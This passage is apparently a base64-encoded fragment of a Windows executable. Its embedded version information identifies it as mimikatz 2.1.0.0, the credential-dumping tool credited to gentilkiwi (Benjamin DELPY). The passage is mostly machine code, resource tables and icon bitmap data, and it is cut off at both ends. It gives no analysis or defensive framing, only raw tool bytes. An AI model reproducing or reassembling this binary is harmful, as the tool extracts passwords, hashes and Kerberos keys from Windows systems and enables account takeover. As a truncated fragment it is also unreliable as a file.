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wALCwsACQMAAAsKCQALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAgsLCwQLCwsJCwsLDgsLCxMLCwsXCwsLGgsLCxcLCwsTCwsLDQsLCwULCwsCCwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwoJAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLBwsLCxYLCwsnCwsLOAsJCT8LCQdFCwkHTQsJB1kLCQdkCwkJcAsLCXsLCwuFCwsMigsLDIkLCwt/CwsLcwsLC2ULCwtWCwsLSQsLC0ALCws6CwsLLgsLCxwLCwsKCwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLDQsLCx4LCws2CwsLTgsLC2YLCQVzDQkGhw0NDZ8NDRGuDhMXvg0OEbwJDA6+CwsLxg0LCMwLBwPKCwgD0QsIBdQLCQfTCwsJzQsLC8QLCwy7CwsLsQsLC6gLCwucCwsLigsLC2wLCwtKCwsLKQsLCxELCwsDCwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwYLCwskCwsLRAsLC2ILCgl9CwkGjw0IBqgNEhnQChos+AkeNf8HIDv/ByND/wgmRf8JJUP/CSA7/wggOf8KIDf+Cxko/QsWIPkLDRL1CwkF8wsGA/ILCQXwCwkJ6gsLC+ULCwvaCwsLyQsLC60LCwuNCwsLaAsLC0QLCwsmCwsLEgsLCwYLCwsBCwsLAAsLCwALCwsADAwMAAwMDAAMDAwADAwMAAwMDAAMDAwACwsMAAsMDAAMDAwADAwMAAwMDBMLCww5CQkJYAoIA3wMCgilDBEX2woeNP8HJEL/BiE9/wYeOP8JKEX/CSZC/wksTf8JKUf/CSlG/wkoRP8HJUP/CChI/wgpSv8IJkL/CB0z/wocL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